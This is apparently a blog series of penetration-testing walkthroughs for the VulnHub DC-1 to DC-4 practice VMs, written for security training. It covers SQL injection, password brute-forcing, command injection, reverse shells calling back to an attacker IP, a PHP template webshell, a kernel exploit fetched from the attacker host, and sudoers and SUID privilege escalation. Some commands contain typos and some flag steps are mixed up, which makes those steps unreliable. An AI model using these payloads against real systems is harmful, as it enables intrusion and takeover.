月梦沉冰

Vulnhub-DC-4渗透教程

Thu, 22 Oct 2026 06:51:19 +0800

1.信息收集

由于缺乏目标系统的IP和账号信息，我们需要通过其他方式获取。这里选择使用ARP扫描工具来探测目标，但请注意：前提是你的Kali系统必须与靶机处于同一个局域网中。

arp-scan -l

在完成网络扫描后，我们确定了该靶机的 IP 地址为 172.16.1.137。

我们使用nmap对其开放端口进行扫描，进一步获取信息。

扫描结果显示，该系统的攻击面十分精简，仅开放了 80 端口和 SSH 端口。首先，我们直接访问 80 端口下的 Web 应用，看看能收集到什么关键信息。

打开 80 端口的 Web 页面，映入眼帘的是一个典型的账号密码登录框。观察其数据交互方式为 POST 传参，因此我们优先测试该登录点是否存在 SQL 注入的可能。

sqlmap -u "http://172.16.1.137/login.php" --data="username=admin&password=123" -p "username"

2.漏洞利用

在针对该登录表单进行 SQL 注入探测无果后，我们将测试方向转向了密码暴力破解（Brute-force）。在爆破前，我们需要确定用户名。在大多数 Web 系统中，管理员账号通常默认为 admin。此外，我们也可以尝试输入 admin 并提交任意密码，通过观察返回的错误提示（例如：提示‘密码错误’而非‘用户不存在’），来侧面验证该用户名是否有效。结合上述两点，我们决定以 admin 作为目标用户名，并配合字典对其密码进行爆破。

hydra -l admin -P /usr/share/wordlists/rockyou.txt 172.16.1.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

经过字典爆破，我们成功获取了管理员账号（admin）的明文凭据：happy。使用该凭据登录 Web 后台后，发现系统提供了三个基础的信息查看功能：文件列表（List Files）、磁盘使用率（Disk Usage）以及磁盘剩余空间（Disk Free）。

由于这些功能在底层必然需要调用操作系统的命令来执行，我们决定使用 Burp Suite 抓取点击这些按钮时产生的数据包，以排查是否存在命令注入漏洞（Command Injection）。

通过抓包重放测试，我们确认该功能点存在命令注入漏洞。由于后端接收 POST 参数后，未做任何安全过滤便直接调用系统命令执行，前端设定的三个固定选项完全可以通过 Burp Suite 拦截并篡改。这意味着我们能够借此漏洞在目标服务器上执行任意系统指令。

下一步，我们需要先探测一下目标主机中是否存在 nc 工具。如果有，利用它反弹 Shell 会是最快捷的方式；如果缺少该工具，我们则需转换思路，尝试使用系统自带的特性或其他语言（如 Python）来建立连接。

3.建立Webshell

经探测确认，目标系统内确实安装了 Netcat 工具。这为我们的后续操作提供了极大便利，接下来我们将直接利用 Netcat 构造反弹 Shell（Reverse Shell），以获取目标主机的交互式命令行。

首先我们需要在我们的攻击机（kali）系统上面进行端口监听。命令如下：

nc lvnp 4444

下一步，我们回到 Burp Suite 的代理拦截界面，直接修改数据包中的命令参数，并将构造好的 Payload 发送至服务器。抓包与改包的细节如下图所示：

在发送请求前，我们需要对 Payload 进行 URL 编码。因为 HTTP 协议对部分特殊字符（如空格、&、> 等）有特殊语义，若不进行编码，极易导致 Payload 在传输过程中被截断或错误解析，从而影响命令的最终执行。

在 Burp Suite 的 Repeater（重放）模块中，选中我们构造的系统命令 nc -e /bin/bash 172.16.1.132 4444，使用快捷键 Ctrl + U 对其进行 URL 编码。这是处理特殊字符、确保 Payload 完整传输的最便捷方式。编码后的效果如下图所示：

随后点击 Send（发送）按钮重放请求。此时可以发现，右侧的 Response 面板处于空白状态或一直加载中——这是因为目标主机正在执行反弹命令，导致当前 HTTP 请求被挂起。此时切换到我们的 BlackArch（或 Kali）系统终端，可以发现已经成功接收到了目标靶机反弹回来的 Shell。

为了方便后续命令的输入与执行，我们将利用 Python 升级当前的反弹 Shell，获取一个标准的交互式 TTY 终端。操作时，只需在终端输出 Connection received on 172.16.1.137 的下方，直接执行相应的 Python 命令即可。

python -c 'impot pty;pty.spawn("/bin/bash")'

进入目标目录后，我们执行 ls 命令列出当前文件，以排查其中是否存在可用于提权或横向移动的敏感信息及可利用文件

由于当前目录下未发现可直接利用的提权文件，我们转换攻击思路。结合前期端口扫描的结果，目标主机开放了 22 端口（SSH 服务）。因此，我们决定在本地系统中进一步收集其他用户的身份信息与凭据，尝试以此为突破口进行横向移动。

接下来，我们查看 /home 目录下的内容。在 Linux 系统中，/home 通常存放着普通用户的家目录及私有数据。因此，这里往往是寻找用户身份信息、历史命令或敏感配置文件的重要区域。

4.获取系统账号密码

在排查 /home 目录时我们有了关键发现：其他用户的家目录均为空，但 jim 用户目录下存在两个文件及一个 backups 文件夹。经初步查看，test.sh 与 mbox 文件并无直接利用价值。然而，我们在 backups 目录下发现了一个名为 old_passwords.bak 的文件，这显然是一个历史密码备份文件。因此，我们可以将其内容作为密码字典，对 jim 用户的 SSH 服务进行暴力破解。

我们使用cat查看该文件信息，并将其中内容复制粘贴到我们的攻击机的系统上面（kali或blackarch），然后使用破解工具进行破解。

hydra -l jim -P dc4.txt ssh://172.16.1.13

我们终于拿到了jim用户的密码，我们使用该密码登录靶机。

5.root提权

成功登录目标系统后，我们注意到了一个关键的系统提示：You have mail.。在 Linux 环境中，这通常意味着系统本地邮箱存在未读邮件，往往可能包含敏感信息或用户凭据，值得进一步探查。

我们使用cat查看该邮件内容，发现了Charles的密码，我们登录Charles账号。

我们直接使用 su charles进入该账号

成功切换到 charles 账号后，我们执行 sudo -l 命令。该命令用于列出当前用户被授权以 root 身份执行的特权命令，这是寻找提权突破口的关键步骤。

   (root) NOPASSWD: /usr/bin/teehee

通过回显我们发现，charles 用户被配置了免密执行（NOPASSWD）teehee 工具的权限。这意味着我们可以直接利用该工具，以 root 特权身份执行相关操作。

echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

我使用以上命令对sudoers文件进行修改，让Charles账号能够sudo所有root的执行命令，经过以上修改，我们已经具体root权限的能力，我们查看flag信息；获取我们需要的flag

6. 总结

至此，DC-4 靶机的渗透测试圆满完成。回顾整个过程，这是一条非常经典的“从外网打点到获取系统最高权限”的攻击链路：首先通过 Web 前端的信息收集，识别出默认口令（admin/happy）进入后台；接着利用后台功能的逻辑缺陷，通过抓包篡改参数，触发命令注入漏洞拿到低权限 Shell；随后，在系统内部进行精细的本地枚举，通过家目录下的历史备份文件（old_passwords.bak）横向移动至 jim 用户，并结合邮件服务找到 charles 的凭据；最终，利用配置不当的 teehee 特权程序，通过修改 sudoers 文件完成了 Root 提权。

这个靶机深刻揭示了“信任边界”的重要性——不论是前端对输入参数的过滤、还是系统对敏感文件（备份、邮件）的权限管控，亦或是 sudo 的配置管理，任何一环的疏漏都可能成为攻击者长驱直入的跳板。

Vulnhub-DC-3渗透教程

Tue, 20 Oct 2026 21:07:32 +0800

DC-1 和 DC-2 已经拆完了,这篇接着干 DC-3。VulnHub 里的第三个靶机,难度比前两个上了一档,枚举和提权的思路都有新东西。

1 信息采集

我们使用arp扫描工具获取该系统的IP地址信息。

arp-scan -l

我们发现该系统的IP地址是：172.16.1.133

既然已经知道了IP地址，那么我们进行下一步，看看该IP地址上存在哪些端口信息，方便我们更进一步渗透。

nmap -A -p-  172.16.1.133

我们发现该系统只开启了一个Apache的服务80端口，我们使用dirsearch工具进行目录探测，查看是否有可疑进去接口。

dirsearch  -u  http://172.16.1.133

我们发现扫描到了一个http://172.16.1.133/administrator的路径，我们尝试访问该路径，看看有什么发现哦！

我们经过访问发现该系统部署了Joomla的web应用框架，我们使用Joomla的扫描工具识别其版本，随着版本在深入采集他的漏洞信息。

扫描结果确认版本为 Joomla 3.7.0。该版本存在已知的 com_fields SQL 注入漏洞（CVE-2017-8917）。

2.SQL注入获取管理账号和密码

2.1 确认sql注入点并获取数据库名称

sqlmap -u "http://172.16.1.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

参数说明：

-u "http://..."：指定目标 URL。这是告诉 sqlmap 要测试哪个网址，这里包含了可能存在漏洞的完整路径和参数。
-p list[fullordering]：指定要测试的参数。由于 URL 里有很多参数，-p 明确告诉 sqlmap 只针对 list[fullordering] 这个参数进行注入测试，避免浪费时间在其他参数上。
--level=5：设置测试等级为最高（5级）。等级越高，sqlmap 测试的覆盖面越广、越深入。默认是 1 级，5 级会测试更多的注入点和边界情况，比如检查 Cookie、User-Agent 等 HTTP 头。
--risk=3：设置风险等级为最高（3级）。风险越高，sqlmap 会使用更具侵入性的测试载荷。比如，可能会尝试基于时间的盲注（让数据库执行 SLEEP 函数）或更复杂的查询，这有极小概率对数据库造成影响，但在授权渗透测试中为了全面检测通常可以接受。
--random-agent：使用随机 User-Agent。每次请求时，sqlmap 会随机选择一个浏览器的 User-Agent 字符串。这可以模拟不同的客户端，有时能帮助绕过某些基于 User-Agent 的简单拦截或检测机制。
--dbs：枚举数据库名。这是本次命令的目标动作。一旦注入点被确认并利用成功，sqlmap 会尝试列出后端数据库管理系统（DBMS）中存在的所有数据库名称

经过以上的深度探测，我们探测出了该系统下面的数据库版本、数据库名称等信息。

从结果中识别出 Joomla 数据库，通常名为 joomladb。

2.2 获取数据表名称

我们可以在原有的sql注入命令中增加两个参数，-D joomladb --tables，进行表名的探测，这两个参数的意思是 -D数据库名称 --tables表示在注入点上对数据库中的表名称进行探测。

sqlmap -u "http://172.16.1.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

我们经过深度探测，已经探测到了数据库的表名称，其中发现有一个表特别显眼，就是#__users这个表,通常情况下，这个表主要存储的就是用户名和密码了。

2.3 获取用户名和密码

从上面我们已经获取了数据表的名称，现在我们进行数据表中获取用户和账号，但是为了更加详细的获取账号和密码，我们需要知道他的表中列名称。在原有的命令上增加一个参数，就是-T “#__users”，其中-T代表表名称，--column代表获取列名称。

sqlmap -u "http://172.16.1.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

我们获取了#__users表中存在username，password两个字段，那么我们直接dump出这个两个字段的信息。

sqlmap -u "http://192.168.x.x/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump -p list[fullordering]

这个命令中，我们增加了一个参数，就是-C，代表数据库中的字段内容，dump是把数据拿出来。

现在我们已经拿到了admin账号和密码，但是发现该密码是hash值，因此还需我们对该hash进行破解

2.4 破解密码哈希

我们把密码的hash写入txt文件中，使用工具john进行hash破解。

john admin.txt --wordlist=/usr/share/wordlists/rockyou.txt

获取账号密码：admin 密码是snoopy

登录进入后台，现在已经进入后台，那么我们可以通过修改模板文件，编写getshell进入系统后台。

2.5 后台Getshell

在后台导航至 Extensions → Templates → Templates，选择一个模板（如 protostar 或 beez3），点击模板名称进入编辑界面。点击 New File，创建一个 .php 文件，写入反弹 Shell 代码：

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.1.132/4444 0>&1"); ?>

然后我们在kali系统使用nc进行监听kali系统的4444端口。

nc -lvnp  4444

我们在浏览器访问以下地址：

http://172.16.1.133/templates/Beez3/test.php

访问以后我们返回kali系统，发现已经连接到了DC-3系统的web应用目录下面。

现在我们进入了该目录下，我们先看看该目录下的有什么数据。

我们尝试cd到根目录，看看是否需要什么权限

我们发现最多只能到VAR目录下面，因此想到根目录没有权限，因此我们需要进行提权。

2.6 提权root

我们使用uname -a查询系统的版本和内核版本，从系统层面查找提权漏洞。

该系统是Ubuntu，内核版本是 4.4.0-21-generic

2.7 上传并执行内核提权 EXP

该内核存在 CVE-2016-4557（Exploit-DB 39772）。在 Kali 上搜索并下载 EXP，我们在github上面下载好脚本以后上传到我们的kali系统，我个人不建议在靶机下面直接下载，先下载到kali系统，通过kali系统进行上传，或者是在web界面下面上传页可以。这里我们选择从kali系统上传，在kali系统搭建建议web。

python3 -m http.server 8000   在kali系统执行

在反弹shell下面使用kali系统的建议web下载到靶机。

www-data@DC-3:/var/www/html$ wget http://172.16.1.132:8000/39772.zip

下载成功以后，对其进行解压，解压以后生成了39772这个目录，我进入该目录，查看信息。

进入39772这个目录，查看发现有两个tar的压缩文件，我们对其进行解压并对其进行执行。

cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

当我们看到下图所示的信息时，说明我们的提取已经取得成功，下面我就可以获取该系统的flag信息啦！

我们使用cd到root目录下面，查了flag信息文件。

我们使用cat查看the-flag.txt文件，获取flag内容。

注意：有时候也会使用脏牛提权，但是根据大部分的测试，发现脏牛提权会让靶机奔溃，这里我们优先使用39772的提权文件。如果有大佬可以给出宝贝的意见。

vulnhub-DC-2渗透教程

Sun, 11 Oct 2026 22:50:15 +0800

引言

DC-2 是一个面向初学者的 WordPress 渗透靶场，整个攻击链覆盖信息收集 → 字典生成 → 凭据爆破 → 横向移动 → 权限提升五个阶段。本教程侧重渗透思路的演进，对每一步"为什么这么做"做明确说明，而不只罗列命令。

1. 信息收集

1.1 主机发现

确认目标在线，获取 IP。

nmap -sn 172.16.1.0/24

1.2 全端口扫描与服务识别

nmap -A -sV -p- 172.16.1.21

扫描结果显示目标开放两个端口：

端口	服务	备注
80/tcp	Apache	标准 Web 端口
7744/tcp	SSH	疑似修改默认端口（22）

参数解析：-A 启用 OS 识别 + 服务版本 + 默认 NSE 脚本 + 路由追踪；-sV 单独再跑一次服务探测（提高识别强度）；-p- 扫描全部 65535 端口，避免漏掉非标准端口。

1.3 配置 hosts 域名解析

为保证后续基于域名的访问能正常解析，需在本地 hosts 中追加记录：

echo "172.16.1.21 dc-2" | sudo tee -a /etc/hosts

验证：

ping -c 3 dc-2

2.Web 渗透（WordPress）

2.1 站点指纹识别

访问 http://dc-2/，通过首页特征确认目标为 WordPress 站点。

结果在首页内容中暴露了 flag1：

flag1 提示要点：标准字典可能不奏效，考虑从站点本身生成专属字典；多账号切换可能是突破关键。

2.2 dirb进行目录枚举

dirb  http://dc-2

我们经过扫描，获取到了后台管理目录/wp-admin/admin.php，我们访问该目录，发现是WordPress的后台登录页面。

2.3 wpscan 扫描枚举用户名

wpscan --url http://dc-2 --enumerate u

经过用户枚举，发现该web应用下面存在三个账号，分别是admin、Jerry、tom。

3.字典生成与凭据爆破

3.1 cewl 爬取站点生成字典

cewl http://dc-2 -w /tmp/dc2.txt

工具说明：cewl（Custom Word List generator）从目标站点爬取正文，生成针对该站点的专属字典。对于小众站点（人名/术语/产品词），定制字典的命中率远高于通用字典（如 rockyou.txt）。

经过cewl密码生成工具总计生产了238条密码。

3.2 wpscan 密码爆破

wpscan --url http://dc-2 -P /tmp/dc2.txt

爆破成功：

用户名	密码
Jerry	adipiscing
tom	parturient

3.3 登录 wp-admin 拿 flag2

访问 http://dc-2/wp-login.php，使用 jerry 凭据登录。

在 Pages 列表中找到 Flag 4 页面，进入后得到 flag4：

flag4 提示要点：与 flag1 呼应——再次强调字典生成工具与多账号切换，并提示剩余 flag 需要通过 SSH（端口 7744）从其他用户入手。

4. SSH 横向移动

4.1 hydra 爆破 tom 凭据

复用 cewl 字典，对 SSH（端口 7744）爆破 tom 账号：

hydra -l tom -P /tmp/dc2.txt ssh://dc-2 -s 7744 -t 4

爆破成功：

用户	密码
tom	parturient

4.2 SSH 登入

ssh -p 7744 tom@dc-2

登入后发现 shell 受限（rbash），无法直接执行大部分命令。

4.3 绕过 rbash 限制

rbash 限制的本质是：清空 PATH、锁定 SHELL 环境变量、禁止修改 PATH。在该限制下，经典的 vi :set shell=/bin/bash + :shell 路径实际上无法逃逸vi 内部 exec() 时已找不到 /bin/bash，且 SHELL 被锁定。

可用的逃逸路径是利用 bash 内建命令的 BASH_CMDS 哈希表：

BASH_CMDS[a]=/bin/sh;a
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

原理：BASH_CMDS 是 bash 的命令名查找关联数组，rbash 的限制作用于 PATH 与 SHELL，不会触及该哈希——将 /bin/sh 注册为名字 a 的命令后，bash 内部直接 execve() 调用，绕开 PATH 限制。

BASH_CMDS 帮你绕进了 sh，但新 shell 启动时还是会读受限的 PATH，所以 cat、vim 照样找不到。新 shell 不继承 BASH_CMDS，只继承 PATH，所以我们需要进入新的shell以后立即进行export。

绕过 rbash 后恢复正常 shell，在 tom 家目录中找到 flag3：

flag3 提示要点：tom 一直在追 jerry，提示下一步应以 jerry 身份继续（su 切换）。

五、权限提升

5.1 sudo -l 探测

sudo -l

我们发现tom没有sudo权限，但是由于在flag3.txt中提示我们可以使用su进行身份切换，那么我们使用su - jerry进行身份切换，由于su不需要使用sudo权限，只需要知道jerry的密码即可，根据前期的信息采集，我们已经知道了jerry的密码，下面切换即可。

5.2 切换 jerry 拿 flag4

sudo -u jerry

在 jerry 家目录找到 flag4：

flag2 提示要点：需要 root 权限才能访问最终 flag；提示 git 提权路径。

5.3 git 提权拿到 flag5

jerry 拥有 root 级别的 git sudo 权限。利用 git 的 pager 逃逸提权至 root：

sudo git -p help config

进入 git 的分页模式（less），输入：

!/bin/sh

拿到 root shell 后：

cd theflag.txt

至此，5 个 flag 全部集齐。

总结

攻击链回顾

信息收集（nmap）
   ↓
Web 渗透（wpscan / dirb）
   ↓
字典生成（cewl）
   ↓
凭据爆破（wpscan / hydra）
   ↓
横向移动（SSH + rbash 绕过）
   ↓
权限提升（sudo su + git 提权）
   ↓
flag 收割

核心收获

cewl 是定制字典的利器 —— 任何站点都可作为字典源，不依赖通用字典的"运气"。
多账号切换是 WP 站点的常见突破口 —— 不要满足于拿下一个账号，剩余用户往往通向更深层。
rbash 不是绝对隔离 —— vi/vim 是经典的逃逸点，遇到受限 shell 优先尝试。
git -p help config 是经典提权 —— 任何允许 sudo git 的环境都应立刻排查。

拓展思考

如果 cewl 字典也不够大，可以加入 cewl -d 3（爬取深度 3）或结合 crunch 生成变体。
真实环境中，WordPress 站点还应关注插件漏洞（如 wp-file-manager CVE-2020-25213），本靶场暂未涉及。
rbash 绕过方式不只 BASH_CMDS 一种，还可通过 man、python、awk 等多种工具逃逸。

本文首发于个人博客，转载请保留原文链接。

Vulnhub-DC-1渗透教程

Wed, 07 Oct 2026 19:02:43 +0800

1.Vulnhub靶场概述

VulnHub是一个提供各类故意设计存在漏洞的虚拟机镜像的靶场平台，用户可下载并在本地（如VMware、VirtualBox）运行，通过模拟真实渗透测试场景来练习漏洞挖掘与利用技能，涵盖Web渗透、提权、内网渗透等多种类型，适合网络安全初学者和从业者进行实战演练。

2.Vulnhub靶场之DC-1

DC-1 是 VulnHub 平台上专为渗透测试入门设计的经典靶机，运行着存在高危漏洞的 Drupal 7 CMS，目标是通过漏洞利用、数据库凭据提取和 SUID 提权获取全部 5 个 flag 并拿到 root 权限。

3.DC-1渗透思路

其核心攻击路径为：利用 Drupalgeddon2（CVE-2018-7600） 漏洞获取初始 shell，从 settings.php 中提取数据库凭据，登录 Drupal 后台获取 flag 提示，最终利用具有 SUID 权限的 find 命令提权至 root。

4.渗透步骤

信息收集：扫描目标主机端口与服务，发现 80 端口运行 Drupal 7，识别其版本存在已知漏洞。
漏洞利用：利用 Drupalgeddon2 远程代码执行漏洞获取初始 shell，从配置文件 settings.php 中提取数据库账号密码。
本地信息收集与凭据获取：登录 Drupal 后台或查询数据库，获取 flag1 提示及管理员账号信息，进一步拿到 flag2、flag3。
提权与夺旗：利用 SUID 权限的 find 命令提权至 root，读取 flag4 并最终获取 root 目录下的最终 flag，完成靶机渗透。

4.1 信息收集

在vmware中搭建kali系统，并且下载vulnhub实验室的DC-1的虚拟机OVA镜像，导入vmware中。修改网卡类型为nat类型。启动kali系统和DC-1系统。由于我们并不知道该系统的账户和密码，因此无法获取该系统的IP地址信息，因此需要通过kali系统进行arp扫描来获取系统IP地址信息。

arp-scan -l

根据扫描结果，我们可以确定靶机的IP地址是172.16.1.20.既然已经知道了靶机地址，我们使用nmap进行端口探测。

   nmap -A -sV -p- 172.16.1.20

根据扫描结果，我们获取了到了该靶机开启的相关端口信息，其中开启了80端口和以及111/39836端口，其他端口我们无法判断具体的应用，但是80端口是http的默认端口，由此判断该靶机一定运行着一款http的web应用，我们访问80端口。

根据访问结果显示，该系统部署了Drupal框架应用，我们尝试使用admin账号登录，发现登录失败，我们可以使用kali系统自带的whatweb工具对其进行扫描，探测该靶机Drupal框架版本，进一步获取相关信息。

whatweb -v http://172.16.1.20

根据扫描结果，我们获取了相当理想的信息，首先获取该靶机部署了apache的中间件，版本号2.2.22，获取了Drupal的版本是V7。我们根据获取的信息进行汇总下一步的渗透思路。

我们利用MSF渗透模块进行Drupal的漏洞扫描，看看Drupal版本7在历史上曾经有哪些漏洞。

msf > search drupal

我们发现有很多的历史漏洞，但是为了能够尽快渗透，获取flag，我们选择最新的漏洞进行渗透，也就是2018-03-28的历史漏洞进行渗透。

4.2 漏洞利用

我们进入该漏洞模块，命令如下：

msf > use 1

这里可以使用use 1，意思是进入查询到的第2个ID，我们还可以使用其他命令进入，命令如下：

use exploit/unix/webapp/drupal_drupalgeddon2

首先进入该漏洞利用模块，我们查询该模块使用的具体参数。

在这里我们发现了很对参数，其实我们使用的最重要就是RHOST参数，该参数是靶机的IP地址，我们需进行设置，其中80端口，模块已经为我们自动设置，我们不需要设置。

set RHOST 172.16.1.20

设置成功，类似于上图所示，然后我们使用run命令或者exploit进行渗透。

当出现上图所示时，我们已经监听到了靶机的内部，我们可以看到已经建立并且打开了一个session会话，我们的kali系统的4444端口正在监听靶机的56839端口，我们使用pwd可以看到我们所处的靶机目录。

我们可以看到我们进入了靶机的/var/www目录。但是这样只能运行MSF模块下面的命令，非常的不方便，由于web应用利用反向shell进入是没有bash的，那么我们可以使用python命令为靶机建立一个伪shell进行，具体命令如下：

我们直接敲击shell，会进入如下图所示的界面：

但是我们发现是没有任何提示符或者其他的符号的，那么我们可以之间在这里进行敲python命令，如果敲错了，可以按住ctrl+back键进行退格，这里我敲击如下命令：

python -c 'import pty;pty.spawn("/bin/bash")'

这样我们就进入了靶机的shell下面，但是由于该shell依然是伪shell，因此是没有像Linux系统下面那样敲击命令或者补全命令的。现在我们使用ls查看该目录下面的文件信息来进一步获取第一个flag信息。

我们发现了flag1.txt文件，我们查看该文件内容，从而确定下一步的渗透思路和方法。

我们发现给了我们一个小提示：一个好的CMS需要有一个好的配置文件，你也一样。既然提到了配置文件，那么我们不防看看配置文件里面又有什么样的惊喜呢！继续一下步。

首先我们需要知道配置文件的存放位置，这个我们可以在互联网进行搜索关于Drupal的配置文件存放位置。

我们通过百度查询，发现drupal的配置文件默认存放在sites/default/settings.php这个文件，我们根据采集的信息发现在靶机的/var/www/x下面有sites目录，我们进入这个目录查看配置文件。

我们这次的发现可谓是收获满满，不仅获取了flag2的提示信息，我们还额外获取了数据库的登录密码和账号，我们对其账号和密码进行记录，后期能够使用到。

数据库名称：drupaldb 数据库账号：dbuser 数据库密码：R0ck3t

我们等了数据库，看看内容，在确定下一步怎么走。

我们在数据库里面发现了一个users的表，因此判断web后台的登录密码和账号一定是在这个表中，我们查询该表，获取admin对应的密码。

我们查询了数据表，但是开起来有点乱，我们发现有三列是我们最需要的，分别是uid，name，pass，我们单独查询这三列的信息，如下：

我们发现了admin账号对应的密码是加密的，我们有很多方法可以进行暴力破解，但是为了方便和节省时间，我们查询是不是存在密码重置的脚本，一般的web应用框架都是有密码重置脚本，一般是存在scripts这样的目录下，我们查看是否存在这样的脚本目录。

我们发现了一个名叫scripts的目录，我们进入该目录，ls查看文件。

我们发现了一个password-hash的脚本，从命名看应该生成密码hash的脚本，我们查看内容，看看其使用方法。

我们发现它使可以被php进行利用，那么我们就使用php带脚本进行密码hash的生成。

我们将123456的hash生成为了密码的hash，使用方法告诉我们可以手动将该hash输入到sql中进行密码重置，那么我们进行mysql中admin密码的hash替换。

我们已经对admin的hash替换成功，现在我们在web界面进行后台登录，查看下一步的渗透思路信息。

我们使用替换的密码已经登录到了web后台，我浏览发现了flag3的信息。根据flag3的提示，我们将进行下一步提权。

通过flag3的提示，其中提到了find以及Passwd和shadow等信息，因此我们判断应该是通过某个二进制来进行提权获取权限，我们进行下一步，查看有哪些用户具有root的执行权限。

我们发现了flag4的账号，但是我们需要root权限，在flag3里面提到了find，find作为文件查询，是具有root的运行权限，我们先查看是否有find的二进制文件。

我们通过查询，发现具有SUID的二进制可执行文件有find，那么我们通过find进行提权。

 find  / -name index.php -exec  "/bin/sh" \;

其中index.php文件存不存在都不是很重要，因为们需要的是进入/bin/sh目录调用外部命令，关于find提取的原因是该系统被错误的为find配置了suid权限，具体的以后我们细讲，这里不做过多解释，我们现在已经通过以上命令获取了root权限。

我们现在可以查看root下面的文件有哪些，最终的flag是不是在root下面。

我们发现root目录下的thefindalflag.txt就是最终的flag，我利用cat获取内容。

我们现在获取了flag1、flag2、flag3,以及thefinalflag的内容，但是还有一个flag4没有获取，我们可以使用find命令查看该flag的文件在那个目录下。

我们发现在flag4在/home/flag4/下面。我们读取该flag的值即可。

至此吗，我们对vulnhub实验室的DC-1的系统渗透就到此结束了，我们获取了5个flag的值。

下一篇，我们进行第二关，DC-2的渗透实验。